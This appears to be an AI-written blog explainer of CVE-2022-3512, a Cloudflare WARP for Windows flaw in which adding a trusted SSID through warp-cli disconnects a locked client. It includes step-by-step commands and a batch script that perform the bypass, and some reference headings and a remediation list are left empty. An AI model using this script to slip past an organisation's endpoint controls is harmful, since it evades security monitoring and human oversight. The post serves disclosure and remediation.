In the world of corporate network security, Zero Trust has become a major defense strategy. Cloudflare’s WARP client, popular for securing endpoints and enforcing network rules, comes with a feature called "Lock WARP Switch." This is supposed to prevent employees from disabling WARP, ensuring all traffic goes through company security policies. However, a vulnerability, CVE-2022-3512, revealed a surprising way to quietly turn WARP off—even when the lock is on—simply by using the warp-cli add-trusted-ssid command.
In this post, I’ll break down what CVE-2022-3512 is, where the exploit lies, how it works, and show example code. I'll also help you understand the risk, all in simple terms. Let’s get started.
What Is CVE-2022-3512?
CVE-2022-3512 (published in October 2022) is a vulnerability in Cloudflare WARP for Windows. When the WARP client’s "Lock WARP Switch" feature was enabled, it should have forced all device traffic through Cloudflare’s network, applying the organization's Zero Trust rules.
The flaw? Any user could run the warp-cli tool and add a Wi-Fi network as a "trusted SSID." Once done, WARP saw the device as being on a safe network and disconnected automatically—even if the lock switch was on. With WARP disconnected, no Zero Trust policies applied, opening a gap attackers or insiders could use.
Official Advisory and Details
- Cloudflare Security Advisory: CVE-2022-3512
- NVD record: https://nvd.nist.gov/vuln/detail/CVE-2022-3512
How Did the Warp-CLI "add-trusted-ssid" Exploit Work?
The WARP client offers a command-line interface (warp-cli), which can be controlled by any logged-in user. One of its features lets you maintain a list of "trusted SSIDs," that is, Wi-Fi network names you trust.
The intended purpose: If you’re on a trusted Wi-Fi, you might not want WARP tunneling your traffic. But this feature wasn’t properly locked down.
With the "Lock WARP Switch" on, WARP shouldn’t let you disconnect or modify settings to open a hole. But the ssid feature was not protected. So, a user could add the name of the current Wi-Fi to the trusted list at any time, making WARP disconnect while bypassing the enforced security policy.
On Windows, open a command prompt and run
netsh wlan show interfaces
This lists your connected SSID, e.g., "CorpWiFi-1"
2. Use warp-cli to add your SSID as trusted
warp-cli add-trusted-ssid CorpWiFi-1
3. Watch WARP disconnect
WARP will see you’re on a "trusted" network and disconnect itself, even if "Lock WARP Switch" was on.
4. You’re now unprotected
All traffic leaves your machine without Cloudflare's policies, filters, or monitoring.
Here's a step-by-step batch example for anyone with standard user access
REM Get current SSID (powershell)
for /f "tokens=2 delims=:" %%a in ('netsh wlan show interfaces ^| findstr /C:"SSID"') do set SSID=%%a
REM Clean up value
set SSID=%SSID:~1%
REM Add as trusted (will disconnect WARP if Lock is on)
warp-cli add-trusted-ssid %SSID%
Why Was This a Big Deal?
- Zero Trust Bypass: The whole point of WARP Lock is to prevent unapproved internet/East-West traffic.
- Privilege Escalation: Ordinary users, even on managed endpoints, could break out of corporate security controls.
- Insider Threat Vector: Malicious insiders could evade data loss prevention, content filters, and logging.
Cloudflare Official Post:
Security Advisory for Cloudflare WARP
NVD:
warp-cli Documentation:
GHSA:
Remediation
Cloudflare patched this in later versions by requiring admin privileges to modify the trusted SSID list and making sure "Lock WARP Switch" actually locked all features, not just disconnection.
If you’re using Cloudflare WARP:
Summary
CVE-2022-3512 is a great reminder: a security lock is only as strong as its weakest feature. A simple add-trusted-ssid command let users sidestep Cloudflare’s Zero Trust promise on Windows by disconnecting WARP—even when it should have been enforced. The fix? More careful privilege separation and proper locking.
Stay safe, and keep those clients updated!
*Content exclusive by AI. No reproduction without attribution. Ask your IT if you have Cloudflare WARP deployed and what version you’re running.*
Timeline
Published on: 10/28/2022 10:15:00 UTC
Last modified on: 11/01/2022 18:35:00 UTC